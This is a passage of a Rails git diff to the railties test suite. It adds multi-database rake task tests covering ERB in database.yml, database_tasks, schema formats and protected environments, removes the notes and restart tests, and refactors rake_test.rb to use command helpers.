+      test "db:create and db:drop don't raise errors when loading YAML containing multiple ERB statements on the same line" do
+        app_file "config/database.yml", <<-YAML
+          development:
+            primary:
+              database: <% if Rails.application.config.database %><%= Rails.application.config.database %><% else %>storage/default.sqlite3<% end %>
+              adapter: sqlite3
+            animals:
+              database: storage/development_animals.sqlite3
+              adapter: sqlite3
+        YAML
+
+        app_file "config/environments/development.rb", <<-RUBY
+          Rails.application.configure do
+            config.database = "storage/development.sqlite3"
+          end
+        RUBY
+
+        db_create_and_drop_namespace("primary", "storage/development.sqlite3")
+      end
+
+      test "db:create and db:drop don't raise errors when loading YAML with single-line ERB" do
+        app_file "config/database.yml", <<-YAML
+          development:
+            primary:
+              <%= Rails.application.config.database ? 'database: storage/development.sqlite3' : 'database: storage/development.sqlite3' %>
+              adapter: sqlite3
+            animals:
+              database: storage/development_animals.sqlite3
+              adapter: sqlite3
+        YAML
+
+        app_file "config/environments/development.rb", <<-RUBY
+          Rails.application.configure do
+            config.database = "storage/development.sqlite3"
+          end
+        RUBY
+
+        db_create_and_drop_namespace("primary", "storage/development.sqlite3")
+      end
+
+      test "db:create and db:drop don't raise errors when loading YAML which contains a key's value as an ERB statement" do
+        app_file "config/database.yml", <<-YAML
+          development:
+            primary:
+              database: <%= Rails.application.config.database ? 'storage/development.sqlite3' : 'storage/development.sqlite3' %>
+              custom_option: <%= ENV['CUSTOM_OPTION'] %>
+              adapter: sqlite3
+            animals:
+              database: storage/development_animals.sqlite3
+              adapter: sqlite3
+        YAML
+
+        app_file "config/environments/development.rb", <<-RUBY
+          Rails.application.configure do
+            config.database = "storage/development.sqlite3"
+          end
+        RUBY
+
+        db_create_and_drop_namespace("primary", "storage/development.sqlite3")
+      end
+
+      test "when there is no primary config, the first is chosen as the default" do
+        app_file "config/database.yml", <<-YAML
+          development:
+            default:
+              database: storage/default.sqlite3
+              adapter: sqlite3
+            animals:
+              database: storage/development_animals.sqlite3
+              adapter: sqlite3
+              migrations_paths: db/animals_migrate
+        YAML
+
+        db_migrate_and_schema_dump_and_load
+      end
+
+      test "when database_tasks is false, then do not run the database tasks on that db" do
+        require "#{app_path}/config/environment"
+        app_file "config/database.yml", <<-YAML
+          development:
+            primary:
+              database: storage/default.sqlite3
+              adapter: sqlite3
+            animals:
+              database: storage/development_animals.sqlite3
+              adapter: sqlite3
+              database_tasks: false
+              schema_dump: true ### database_tasks should override all sub-settings
+        YAML
+
+        Dir.chdir(app_path) do
+          generate_models_for_animals
+
+          assert_not File.exist?("storage/development_animals.sqlite3")
+          assert_not File.exist?("db/animals_schema.rb")
+
+          error = assert_raises do
+            rails "db:migrate:animals" ### Task not defined
+          end
+          assert_includes error.message, "Unrecognized command"
+
+          rails "db:migrate"
+          assert File.exist?("storage/default.sqlite3")
+          assert_not File.exist?("storage/development_animals.sqlite3")
+          assert File.exist?("db/schema.rb")
+          assert_not File.exist?("db/animals_schema.rb")
+
+          rails "db:drop"
+          assert_not File.exist?("storage/default.sqlite3")
+          assert_not File.exist?("storage/development_animals.sqlite3")
+        end
+      end
+
+      test "when database_tasks is false on 'primary', then run the database tasks on other dbs" do
+        require "#{app_path}/config/environment"
+        app_file "config/database.yml", <<-YAML
+          development:
+            primary:
+              database: storage/development.sqlite3
+              adapter: sqlite3
+              database_tasks: false
+            animals:
+              database: storage/development_animals.sqlite3
+              adapter: sqlite3
+              migrations_paths: db/animals_migrate
+        YAML
+
+        Dir.chdir(app_path) do
+          generate_models_for_animals
+
+          assert_not File.exist?("storage/development.sqlite3")
+          assert_not File.exist?("storage/development_animals.sqlite3")
+
+          assert_not File.exist?("db/schema.rb")
+          assert_not File.exist?("db/animals_schema.rb")
+
+          error = assert_raises do
+            rails "db:migrate:animals" ### Task not defined
+          end
+          assert_includes error.message, "Unrecognized command"
+
+          rails "db:migrate"
+          assert_not File.exist?("storage/development.sqlite3")
+          assert File.exist?("storage/development_animals.sqlite3")
+          assert_not File.exist?("db/schema.rb")
+          assert File.exist?("db/animals_schema.rb")
+
+          rails "db:drop"
+
+          assert_not File.exist?("storage/development.sqlite3")
+          assert_not File.exist?("storage/development_animals.sqlite3")
+        end
+      end
+
+      test "when database_tasks is false on the implicit primary database, then run the database tasks on other dbs" do
+        require "#{app_path}/config/environment"
+        app_file "config/database.yml", <<-YAML
+          development:
+            main:
+              database: storage/development.sqlite3
+              adapter: sqlite3
+              database_tasks: false
+            animals:
+              database: storage/development_animals.sqlite3
+              adapter: sqlite3
+              migrations_paths: db/animals_migrate
+        YAML
+
+        Dir.chdir(app_path) do
+          generate_models_for_animals
+
+          assert_not File.exist?("storage/development.sqlite3")
+          assert_not File.exist?("storage/development_animals.sqlite3")
+
+          assert_not File.exist?("db/schema.rb")
+          assert_not File.exist?("db/animals_schema.rb")
+
+          error = assert_raises do
+            rails "db:migrate:animals" ### Task not defined
+          end
+          assert_includes error.message, "Unrecognized command"
+
+          rails "db:migrate"
+          assert_not File.exist?("storage/development.sqlite3")
+          assert File.exist?("storage/development_animals.sqlite3")
+          assert_not File.exist?("db/schema.rb")
+          assert File.exist?("db/animals_schema.rb")
+
+          rails "db:drop"
+
+          assert_not File.exist?("storage/development.sqlite3")
+          assert_not File.exist?("storage/development_animals.sqlite3")
+        end
+      end
+
+      test "destructive tasks are protected" do
+        add_to_config "config.active_record.protected_environments = ['development', 'test']"
+
+        require "#{app_path}/config/environment"
+
+        Dir.chdir(app_path) do
+          generate_models_for_animals
+          rails "db:migrate"
+
+          destructive_tasks = ["db:drop:animals", "db:schema:load:animals", "db:test:purge:animals"]
+
+          destructive_tasks.each do |task|
+            error = assert_raises("#{task} did not raise ActiveRecord::ProtectedEnvironmentError") { rails task }
+            assert_match(/ActiveRecord::ProtectedEnvironmentError/, error.message)
+          end
+        end
+      end
+
+      test "each database can have its own schema_format" do
+        require "#{app_path}/config/environment"
+        app_file "config/database.yml", <<-YAML
+          development:
+            primary:
+              database: storage/default.sqlite3
+              adapter: sqlite3
+              schema_format: ruby
+            animals:
+              database: storage/development_animals.sqlite3
+              adapter: sqlite3
+              migrations_paths: db/animals_migrate
+              schema_format: sql
+          test:
+            primary:
+              database: storage/default_test.sqlite3
+              adapter: sqlite3
+              schema_format: ruby
+            animals:
+              database: storage/test_animals.sqlite3
+              adapter: sqlite3
+              migrations_paths: db/animals_migrate
+              schema_format: sql
+        YAML
+
+        Dir.chdir(app_path) do
+          assert_not File.exist?("db/schema.rb")
+          assert_not File.exist?("db/animals_structure.sql")
+          rails "db:migrate"
+          rails "db:schema:dump"
+          assert File.exist?("db/schema.rb")
+          assert File.exist?("db/animals_structure.sql")
+        end
+      end
+
+      test "defaults to ruby schema_format" do
+        require "#{app_path}/config/environment"
+        app_file "config/database.yml", <<-YAML
+          development:
+            primary:
+              database: storage/default.sqlite3
+              adapter: sqlite3
+            animals:
+              database: storage/development_animals.sqlite3
+              adapter: sqlite3
+              migrations_paths: db/animals_migrate
+              schema_format: sql
+          test:
+            primary:
+              database: storage/default_test.sqlite3
+              adapter: sqlite3
+            animals:
+              database: storage/test_animals.sqlite3
+              adapter: sqlite3
+              migrations_paths: db/animals_migrate
+              schema_format: sql
+        YAML
+
+        Dir.chdir(app_path) do
+          assert_not File.exist?("db/schema.rb")
+          assert_not File.exist?("db/animals_structure.sql")
+          rails "db:migrate"
+          rails "db:schema:dump"
+          assert File.exist?("db/schema.rb")
+          assert File.exist?("db/animals_structure.sql")
+        end
+      end
+
+      test "raises an exception for invalid schema formats" do
+        require "#{app_path}/config/environment"
+        app_file "config/database.yml", <<-YAML
+          development:
+            primary:
+              database: storage/default.sqlite3
+              adapter: sqlite3
+              schema_format: invalid
+          test:
+            primary:
+              database: storage/default_test.sqlite3
+              adapter: sqlite3
+        YAML
+
+        Dir.chdir(app_path) do
+          assert_raises "Invalid schema format" do
+            rails "db:migrate"
+          end
+        end
+      end
+
+      test "after schema is loaded test run on the correct connections" do
+        require "#{app_path}/config/environment"
+        app_file "config/database.yml", <<-YAML
+          development:
+            primary:
+              database: storage/default.sqlite3
+              adapter: sqlite3
+            animals:
+              database: storage/development_animals.sqlite3
+              adapter: sqlite3
+              migrations_paths: db/animals_migrate
+          test:
+            primary:
+              database: storage/default_test.sqlite3
+              adapter: sqlite3
+            animals:
+              database: storage/test_animals.sqlite3
+              adapter: sqlite3
+              migrations_paths: db/animals_migrate
+        YAML
+
+        Dir.chdir(app_path) do
+          generate_models_for_animals
+
+          File.open("test/models/book_test.rb", "w") do |file|
+            file.write(<<~EOS)
+              require "test_helper"
+
+              class BookTest < ActiveSupport::TestCase
+                test "a book" do
+                  assert Book.first
+                end
+              end
+            EOS
+          end
+
+          rails "db:migrate"
+          rails "db:schema:dump"
+          output = rails "test"
+          assert_match(/1 runs, 1 assertions, 0 failures, 0 errors, 0 skips/, output)
+        end
+      end
+    end
+  end
+end
diff --git a/railties/test/application/rake/notes_test.rb b/railties/test/application/rake/notes_test.rb
deleted file mode 100644
index e7ffea2e711ab..0000000000000
--- a/railties/test/application/rake/notes_test.rb
+++ /dev/null
@@ -1,168 +0,0 @@
-require "isolation/abstract_unit"
-require "rails/source_annotation_extractor"
-
-module ApplicationTests
-  module RakeTests
-    class RakeNotesTest < ActiveSupport::TestCase
-      include ActiveSupport::Testing::Isolation
-
-      def setup
-        build_app
-        require "rails/all"
-        super
-      end
-
-      def teardown
-        super
-        teardown_app
-      end
-
-      test "notes finds notes for certain file_types" do
-        app_file "app/views/home/index.html.erb", "<% # TODO: note in erb %>"
-        app_file "app/assets/javascripts/application.js", "// TODO: note in js"
-        app_file "app/assets/stylesheets/application.css", "// TODO: note in css"
-        app_file "app/controllers/application_controller.rb", 1000.times.map { "" }.join("\n") << "# TODO: note in ruby"
-        app_file "lib/tasks/task.rake", "# TODO: note in rake"
-        app_file "app/views/home/index.html.builder", "# TODO: note in builder"
-        app_file "config/locales/en.yml", "# TODO: note in yml"
-        app_file "config/locales/en.yaml", "# TODO: note in yaml"
-        app_file "app/views/home/index.ruby", "# TODO: note in ruby"
-
-        run_rake_notes do |output, lines|
-          assert_match(/note in erb/, output)
-          assert_match(/note in js/, output)
-          assert_match(/note in css/, output)
-          assert_match(/note in rake/, output)
-          assert_match(/note in builder/, output)
-          assert_match(/note in yml/, output)
-          assert_match(/note in yaml/, output)
-          assert_match(/note in ruby/, output)
-
-          assert_equal 9, lines.size
-          assert_equal [4], lines.map(&:size).uniq
-        end
-      end
-
-      test "notes finds notes in default directories" do
-        app_file "app/controllers/some_controller.rb", "# TODO: note in app directory"
-        app_file "config/initializers/some_initializer.rb", "# TODO: note in config directory"
-        app_file "db/some_seeds.rb", "# TODO: note in db directory"
-        app_file "lib/some_file.rb", "# TODO: note in lib directory"
-        app_file "test/some_test.rb", 1000.times.map { "" }.join("\n") << "# TODO: note in test directory"
-
-        app_file "some_other_dir/blah.rb", "# TODO: note in some_other directory"
-
-        run_rake_notes do |output, lines|
-          assert_match(/note in app directory/, output)
-          assert_match(/note in config directory/, output)
-          assert_match(/note in db directory/, output)
-          assert_match(/note in lib directory/, output)
-          assert_match(/note in test directory/, output)
-          assert_no_match(/note in some_other directory/, output)
-
-          assert_equal 5, lines.size
-          assert_equal [4], lines.map(&:size).uniq
-        end
-      end
-
-      test "notes finds notes in custom directories" do
-        app_file "app/controllers/some_controller.rb", "# TODO: note in app directory"
-        app_file "config/initializers/some_initializer.rb", "# TODO: note in config directory"
-        app_file "db/some_seeds.rb", "# TODO: note in db directory"
-        app_file "lib/some_file.rb", "# TODO: note in lib directory"
-        app_file "test/some_test.rb", 1000.times.map { "" }.join("\n") << "# TODO: note in test directory"
-
-        app_file "some_other_dir/blah.rb", "# TODO: note in some_other directory"
-
-        run_rake_notes "SOURCE_ANNOTATION_DIRECTORIES='some_other_dir' bin/rails notes" do |output, lines|
-          assert_match(/note in app directory/, output)
-          assert_match(/note in config directory/, output)
-          assert_match(/note in db directory/, output)
-          assert_match(/note in lib directory/, output)
-          assert_match(/note in test directory/, output)
-
-          assert_match(/note in some_other directory/, output)
-
-          assert_equal 6, lines.size
-          assert_equal [4], lines.map(&:size).uniq
-        end
-      end
-
-      test "custom rake task finds specific notes in specific directories" do
-        app_file "app/controllers/some_controller.rb", "# TODO: note in app directory"
-        app_file "lib/some_file.rb", "# OPTIMIZE: note in lib directory\n" << "# FIXME: note in lib directory"
-        app_file "test/some_test.rb", 1000.times.map { "" }.join("\n") << "# TODO: note in test directory"
-
-        app_file "lib/tasks/notes_custom.rake", <<-EOS
-          require 'rails/source_annotation_extractor'
-          task :notes_custom do
-            tags = 'TODO|FIXME'
-            opts = { dirs: %w(lib test), tag: true }
-            SourceAnnotationExtractor.enumerate(tags, opts)
-          end
-        EOS
-
-        run_rake_notes "bin/rails notes_custom" do |output, lines|
-          assert_match(/\[FIXME\] note in lib directory/, output)
-          assert_match(/\[TODO\] note in test directory/, output)
-          assert_no_match(/OPTIMIZE/, output)
-          assert_no_match(/note in app directory/, output)
-
-          assert_equal 2, lines.size
-          assert_equal [4], lines.map(&:size).uniq
-        end
-      end
-
-      test "register a new extension" do
-        add_to_config "config.assets.precompile = []"
-        add_to_config %q{ config.annotations.register_extensions("scss", "sass") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ } }
-        app_file "app/assets/stylesheets/application.css.scss", "// TODO: note in scss"
-        app_file "app/assets/stylesheets/application.css.sass", "// TODO: note in sass"
-
-        run_rake_notes do |output, lines|
-          assert_match(/note in scss/, output)
-          assert_match(/note in sass/, output)
-          assert_equal 2, lines.size
-        end
-      end
-
-      test "register additional directories" do
-        app_file "spec/spec_helper.rb", "# TODO: note in spec"
-        app_file "spec/models/user_spec.rb", "# TODO: note in model spec"
-        add_to_config ' config.annotations.register_directories("spec") '
-
-        run_rake_notes do |output, lines|
-          assert_match(/note in spec/, output)
-          assert_match(/note in model spec/, output)
-          assert_equal 2, lines.size
-        end
-      end
-
-      private
-
-        def run_rake_notes(command = "bin/rails notes")
-          boot_rails
-          load_tasks
-
-          Dir.chdir(app_path) do
-            output = `#{command}`
-            lines  = output.scan(/\[([0-9\s]+)\]\s/).flatten
-
-            yield output, lines
-          end
-        end
-
-        def load_tasks
-          require "rake"
-          require "rdoc/task"
-          require "rake/testtask"
-
-          Rails.application.load_tasks
-        end
-
-        def boot_rails
-          require "#{app_path}/config/environment"
-        end
-    end
-  end
-end
diff --git a/railties/test/application/rake/restart_test.rb b/railties/test/application/rake/restart_test.rb
deleted file mode 100644
index 6ebd2d5461a50..0000000000000
--- a/railties/test/application/rake/restart_test.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-require "isolation/abstract_unit"
-
-module ApplicationTests
-  module RakeTests
-    class RakeRestartTest < ActiveSupport::TestCase
-      include ActiveSupport::Testing::Isolation
-
-      def setup
-        build_app
-      end
-
-      def teardown
-        teardown_app
-      end
-
-      test "rails restart touches tmp/restart.txt" do
-        Dir.chdir(app_path) do
-          `bin/rails restart`
-          assert File.exist?("tmp/restart.txt")
-
-          prev_mtime = File.mtime("tmp/restart.txt")
-          sleep(1)
-          `bin/rails restart`
-          curr_mtime = File.mtime("tmp/restart.txt")
-          assert_not_equal prev_mtime, curr_mtime
-        end
-      end
-
-      test "rails restart should work even if tmp folder does not exist" do
-        Dir.chdir(app_path) do
-          FileUtils.remove_dir("tmp")
-          `bin/rails restart`
-          assert File.exist?("tmp/restart.txt")
-        end
-      end
-
-      test "rails restart removes server.pid also" do
-        Dir.chdir(app_path) do
-          FileUtils.mkdir_p("tmp/pids")
-          FileUtils.touch("tmp/pids/server.pid")
-          `bin/rails restart`
-          assert_not File.exist?("tmp/pids/server.pid")
-        end
-      end
-    end
-  end
-end
diff --git a/railties/test/application/rake/tmp_test.rb b/railties/test/application/rake/tmp_test.rb
new file mode 100644
index 0000000000000..308d34632e0fe
--- /dev/null
+++ b/railties/test/application/rake/tmp_test.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  module RakeTests
+    class TmpTest < ActiveSupport::TestCase
+      include ActiveSupport::Testing::Isolation
+
+      def setup
+        build_app
+      end
+
+      def teardown
+        teardown_app
+      end
+
+      test "tmp:clear clear cache, socket, screenshot, and storage files" do
+        Dir.chdir(app_path) do
+          FileUtils.mkdir_p("tmp/cache")
+          FileUtils.touch("tmp/cache/cache_file")
+
+          FileUtils.mkdir_p("tmp/sockets")
+          FileUtils.touch("tmp/sockets/socket_file")
+
+          FileUtils.mkdir_p("tmp/screenshots")
+          FileUtils.touch("tmp/screenshots/fail.png")
+
+          FileUtils.mkdir_p("tmp/storage/6h/np")
+          FileUtils.touch("tmp/storage/6h/np/6hnp81jvgt42pcfqtlpoy8qshfb0")
+
+          rails "tmp:clear"
+
+          assert_not File.exist?("tmp/cache/cache_file")
+          assert_not File.exist?("tmp/sockets/socket_file")
+          assert_not File.exist?("tmp/screenshots/fail.png")
+          assert_not File.exist?("tmp/storage/6h/np/6hnp81jvgt42pcfqtlpoy8qshfb0")
+        end
+      end
+
+      test "tmp:clear should work if folder missing" do
+        FileUtils.remove_dir("#{app_path}/tmp")
+        assert_nothing_raised do
+          rails "tmp:clear"
+        end
+      end
+    end
+  end
+end
diff --git a/railties/test/application/rake_test.rb b/railties/test/application/rake_test.rb
index 1b64a0a1ca083..cecc04955473f 100644
--- a/railties/test/application/rake_test.rb
+++ b/railties/test/application/rake_test.rb
@@ -1,9 +1,11 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
-require "active_support/core_ext/string/strip"
+require "env_helpers"
 
 module ApplicationTests
   class RakeTest < ActiveSupport::TestCase
-    include ActiveSupport::Testing::Isolation
+    include ActiveSupport::Testing::Isolation, EnvHelpers
 
     def setup
       build_app
@@ -23,23 +25,64 @@ def test_gems_tasks_are_loaded_first_than_application_ones
       assert $task_loaded
     end
 
+    test "framework tasks are evaluated only once" do
+      assert_equal ["Rails version"], rails("about").scan(/^Rails version/)
+    end
+
+    test "tasks can invoke framework tasks via Rails::Command.invoke" do
+      add_to_config <<~RUBY
+        rake_tasks do
+          task :invoke_about do
+            Rails::Command.invoke :about
+          end
+        end
+      RUBY
+
+      assert_match(/^Rails version/, rails("invoke_about"))
+    end
+
+    test "help arguments describe rake tasks" do
+      task_description = <<~DESC
+          rails db:migrate
+              Migrate the database (options: VERSION=x, VERBOSE=false, SCOPE=blog).
+      DESC
+
+      assert_match task_description, rails("db:migrate", "-h")
+    end
+
+    test "task backtrace is silenced" do
+      add_to_config <<-RUBY
+        rake_tasks do
+          task :boom do
+            raise "boom"
+          end
+        end
+      RUBY
+
+      backtrace = rails("boom", allow_failure: true).lines.grep(/:\d+:in /)
+      app_lines, framework_lines = backtrace.partition { |line| line.start_with?(app_path) }
+
+      assert_not_empty app_lines
+      assert_empty framework_lines
+    end
+
     test "task is protected when previous migration was production" do
-      Dir.chdir(app_path) do
-        output = `bin/rails generate model product name:string;
-         env RAILS_ENV=production bin/rails db:create db:migrate;
-         env RAILS_ENV=production bin/rails db:test:prepare test 2>&1`
+      with_rails_env "production" do
+        rails "generate", "model", "product", "name:string"
+        rails "db:create", "db:migrate"
+        output = rails("db:test:prepare", allow_failure: true)
 
         assert_match(/ActiveRecord::ProtectedEnvironmentError/, output)
       end
     end
 
     def test_not_protected_when_previous_migration_was_not_production
-      Dir.chdir(app_path) do
-        output = `bin/rails generate model product name:string;
-         env RAILS_ENV=test bin/rails db:create db:migrate;
-         env RAILS_ENV=test bin/rails db:test:prepare test 2>&1`
+      with_rails_env "test" do
+        rails "generate", "model", "product", "name:string"
+        rails "db:create", "db:migrate"
+        output = rails("db:test:prepare", "test")
 
-        refute_match(/ActiveRecord::ProtectedEnvironmentError/, output)
+        assert_no_match(/ActiveRecord::ProtectedEnvironmentError/, output)
       end
     end
 
@@ -54,7 +97,7 @@ def test_environment_is_required_in_rake_tasks
         Rails.application.initialize!
       RUBY
 
-      assert_match("SuperMiddleware", Dir.chdir(app_path) { `bin/rails middleware` })
+      assert_match("SuperMiddleware", rails("middleware"))
     end
 
     def test_initializers_are_executed_in_rake_tasks
@@ -69,7 +112,7 @@ def test_initializers_are_executed_in_rake_tasks
         end
       RUBY
 
-      output = Dir.chdir(app_path) { `bin/rails do_nothing` }
+      output = rails("do_nothing")
       assert_match "Doing something...", output
     end
 
@@ -90,14 +133,15 @@ def world
         end
       RUBY
 
-      output = Dir.chdir(app_path) { `bin/rails do_nothing` }
+      output = rails("do_nothing")
       assert_match "Hello world", output
     end
 
-    def test_should_not_eager_load_model_for_rake
+    def test_should_not_eager_load_model_for_rake_when_rake_eager_load_is_false
       add_to_config <<-RUBY
         rake_tasks do
           task do_nothing: :environment do
+            puts 'There is nothing'
           end
         end
       RUBY
@@ -110,185 +154,90 @@ def test_should_not_eager_load_model_for_rake
         raise 'should not be pre-required for rake even eager_load=true'
       RUBY
 
-      Dir.chdir(app_path) do
-        assert system("bin/rails do_nothing RAILS_ENV=production"),
-               "should not be pre-required for rake even eager_load=true"
-      end
-    end
-
-    def test_code_statistics_sanity
-      assert_match "Code LOC: 26     Test LOC: 0     Code to Test Ratio: 1:0.0",
-        Dir.chdir(app_path) { `bin/rails stats` }
+      output = rails("do_nothing", "RAILS_ENV=production")
+      assert_match "There is nothing", output
     end
 
-    def test_rails_routes_calls_the_route_inspector
-      app_file "config/routes.rb", <<-RUBY
-        Rails.application.routes.draw do
-          get '/cart', to: 'cart#show'
+    def test_should_eager_load_model_for_rake_when_rake_eager_load_is_true
+      add_to_config <<-RUBY
+        rake_tasks do
+          task do_something: :environment do
+            puts "Answer: " + Hello::TEST.to_s
+          end
         end
       RUBY
 
-      output = Dir.chdir(app_path) { `bin/rails routes` }
-      assert_equal "Prefix Verb URI Pattern     Controller#Action\n  cart GET  /cart(.:format) cart#show\n", output
-    end
-
-    def test_singular_resource_output_in_rake_routes
-      app_file "config/routes.rb", <<-RUBY
-        Rails.application.routes.draw do
-          resource :post
-        end
+      add_to_env_config "production", <<-RUBY
+        config.rake_eager_load = true
       RUBY
 
-      expected_output = ["   Prefix Verb   URI Pattern          Controller#Action",
-                         " new_post GET    /post/new(.:format)  posts#new",
-                         "edit_post GET    /post/edit(.:format) posts#edit",
-                         "     post GET    /post(.:format)      posts#show",
-                         "          PATCH  /post(.:format)      posts#update",
-                         "          PUT    /post(.:format)      posts#update",
-                         "          DELETE /post(.:format)      posts#destroy",
-                         "          POST   /post(.:format)      posts#create\n"].join("\n")
-
-      output = Dir.chdir(app_path) { `bin/rails routes -c PostController` }
-      assert_equal expected_output, output
-    end
-
-    def test_rails_routes_with_global_search_key
-      app_file "config/routes.rb", <<-RUBY
-        Rails.application.routes.draw do
-          get '/cart', to: 'cart#show'
-          post '/cart', to: 'cart#create'
-          get '/basketballs', to: 'basketball#index'
+      app_file "app/models/hello.rb", <<-RUBY
+        class Hello
+          TEST = 42
         end
       RUBY
 
-      output = Dir.chdir(app_path) { `bin/rails routes -g show` }
-      assert_equal "Prefix Verb URI Pattern     Controller#Action\n  cart GET  /cart(.:format) cart#show\n", output
-
-      output = Dir.chdir(app_path) { `bin/rails routes -g POST` }
-      assert_equal "Prefix Verb URI Pattern     Controller#Action\n       POST /cart(.:format) cart#create\n", output
-
-      output = Dir.chdir(app_path) { `bin/rails routes -g basketballs` }
-      assert_equal "     Prefix Verb URI Pattern            Controller#Action\n" \
-                   "basketballs GET  /basketballs(.:format) basketball#index\n", output
+      output = Dir.chdir(app_path) { `bin/rails do_something RAILS_ENV=production` }
+      assert_equal "Answer: 42\n", output.lines.last
     end
 
-    def test_rails_routes_with_controller_search_key
-      app_file "config/routes.rb", <<-RUBY
-        Rails.application.routes.draw do
-          get '/cart', to: 'cart#show'
-          get '/basketball', to: 'basketball#index'
-        end
-      RUBY
-
-      output = Dir.chdir(app_path) { `bin/rails routes -c cart` }
-      assert_equal "Prefix Verb URI Pattern     Controller#Action\n  cart GET  /cart(.:format) cart#show\n", output
-
-      output = Dir.chdir(app_path) { `bin/rails routes -c Cart` }
-      assert_equal "Prefix Verb URI Pattern     Controller#Action\n  cart GET  /cart(.:format) cart#show\n", output
-
-      output = Dir.chdir(app_path) { `bin/rails routes -c CartController` }
-      assert_equal "Prefix Verb URI Pattern     Controller#Action\n  cart GET  /cart(.:format) cart#show\n", output
+    def test_code_statistics
+      assert_match(/Code LOC: \d+\s+Test LOC: \d+\s+ Code to Test Ratio: 1:\w+/, rails("stats"))
     end
 
-    def test_rails_routes_with_namespaced_controller_search_key
-      app_file "config/routes.rb", <<-RUBY
-        Rails.application.routes.draw do
-          namespace :admin do
-            resource :post
+    def test_reload_routes
+      add_to_config <<-RUBY
+        rake_tasks do
+          task do_something: :environment do
+            Rails.application.reload_routes!
+            puts Rails.application.routes.named_routes.to_h.keys.join(" ")
           end
         end
       RUBY
-      expected_output = ["         Prefix Verb   URI Pattern                Controller#Action",
-                         " new_admin_post GET    /admin/post/new(.:format)  admin/posts#new",
-                         "edit_admin_post GET    /admin/post/edit(.:format) admin/posts#edit",
-                         "     admin_post GET    /admin/post(.:format)      admin/posts#show",
-                         "                PATCH  /admin/post(.:format)      admin/posts#update",
-                         "                PUT    /admin/post(.:format)      admin/posts#update",
-                         "                DELETE /admin/post(.:format)      admin/posts#destroy",
-                         "                POST   /admin/post(.:format)      admin/posts#create\n"].join("\n")
-
-      output = Dir.chdir(app_path) { `bin/rails routes -c Admin::PostController` }
-      assert_equal expected_output, output
-
-      output = Dir.chdir(app_path) { `bin/rails routes -c PostController` }
-      assert_equal expected_output, output
-    end
 
-    def test_rails_routes_displays_message_when_no_routes_are_defined
       app_file "config/routes.rb", <<-RUBY
         Rails.application.routes.draw do
+          get "foo", to: "foo#bar", as: :my_great_route
         end
       RUBY
 
-      assert_equal <<-MESSAGE.strip_heredoc, Dir.chdir(app_path) { `bin/rails routes` }
-        You don't have any routes defined!
-
-        Please add some routes in config/routes.rb.
-
-        For more information about routes, see the Rails guide: http://guides.rubyonrails.org/routing.html.
-      MESSAGE
-    end
-
-    def test_rake_routes_with_rake_options
-      app_file "config/routes.rb", <<-RUBY
-        Rails.application.routes.draw do
-          get '/cart', to: 'cart#show'
-        end
-      RUBY
-
-      output = Dir.chdir(app_path) { `bin/rake --rakefile Rakefile routes` }
-      assert_equal "Prefix Verb URI Pattern     Controller#Action\n  cart GET  /cart(.:format) cart#show\n", output
-    end
-
-    def test_logger_is_flushed_when_exiting_production_rake_tasks
-      add_to_config <<-RUBY
-        rake_tasks do
-          task log_something: :environment do
-            Rails.logger.error("Sample log message")
-          end
-        end
-      RUBY
-
-      output = Dir.chdir(app_path) { `bin/rails log_something RAILS_ENV=production && cat log/production.log` }
-      assert_match "Sample log message", output
+      output = Dir.chdir(app_path) { `bin/rails do_something` }
+      assert_includes(output.lines.first, "my_great_route")
     end
 
     def test_loading_specific_fixtures
-      Dir.chdir(app_path) do
-        `bin/rails generate model user username:string password:string;
-         bin/rails generate model product name:string;
-         bin/rails db:migrate`
-      end
+      rails "generate", "model", "user", "username:string", "password:string"
+      rails "generate", "model", "product", "name:string"
+      rails "db:migrate"
 
       require "#{rails_root}/config/environment"
 
       # loading a specific fixture
-      errormsg = Dir.chdir(app_path) { `bin/rails db:fixtures:load FIXTURES=products` }
-      assert $?.success?, errormsg
+      rails "db:fixtures:load", "FIXTURES=products"
 
-      assert_equal 2, ::AppTemplate::Application::Product.count
-      assert_equal 0, ::AppTemplate::Application::User.count
+      assert_equal 2, Product.count
+      assert_equal 0, User.count
     end
 
     def test_loading_only_yml_fixtures
-      Dir.chdir(app_path) do
-        `bin/rails db:migrate`
-      end
+      rails "db:migrate"
 
       app_file "test/fixtures/products.csv", ""
 
       require "#{rails_root}/config/environment"
-      errormsg = Dir.chdir(app_path) { `bin/rails db:fixtures:load` }
-      assert $?.success?, errormsg
+      assert_nothing_raised do
+        rails "db:fixtures:load"
+      end
     end
 
     def test_scaffold_tests_pass_by_default
-      output = Dir.chdir(app_path) do
-        `bin/rails generate scaffold user username:string password:string;
-         RAILS_ENV=test bin/rails db:migrate test`
+      rails "generate", "scaffold", "user", "username:string", "password:string"
+      with_rails_env("test") do
+        rails("db:migrate")
       end
+      output = rails("test")
 
-      assert_match(/7 runs, 9 assertions, 0 failures, 0 errors/, output)
+      assert_match(/7 runs, 11 assertions, 0 failures, 0 errors/, output)
       assert_no_match(/Errors running/, output)
     end
 
@@ -302,82 +251,64 @@ class ApplicationController < ActionController::API
         end
       RUBY
 
-      output = Dir.chdir(app_path) do
-        `bin/rails generate scaffold user username:string password:string;
-         RAILS_ENV=test bin/rails db:migrate test`
-      end
+      rails "generate", "scaffold", "user", "username:string", "password:string"
+      with_rails_env("test") { rails("db:migrate") }
+      output = rails("test")
 
-      assert_match(/5 runs, 7 assertions, 0 failures, 0 errors/, output)
+      assert_match(/5 runs, 9 assertions, 0 failures, 0 errors/, output)
       assert_no_match(/Errors running/, output)
     end
 
     def test_scaffold_with_references_columns_tests_pass_by_default
-      output = Dir.chdir(app_path) do
-        `bin/rails generate model Product;
-         bin/rails generate model Cart;
-         bin/rails generate scaffold LineItems product:references cart:belongs_to;
-         RAILS_ENV=test bin/rails db:migrate test`
+      rails "generate", "model", "Product"
+      rails "generate", "model", "Cart"
+      rails "generate", "scaffold", "LineItems", "product:references", "cart:belongs_to"
+      with_rails_env("test") do
+        rails("db:migrate")
       end
+      output = rails("test")
 
-      assert_match(/7 runs, 9 assertions, 0 failures, 0 errors/, output)
+      assert_match(/7 runs, 11 assertions, 0 failures, 0 errors/, output)
       assert_no_match(/Errors running/, output)
     end
 
     def test_db_test_prepare_when_using_sql_format
       add_to_config "config.active_record.schema_format = :sql"
-      output = Dir.chdir(app_path) do
-        `bin/rails generate scaffold user username:string;
-         bin/rails db:migrate;
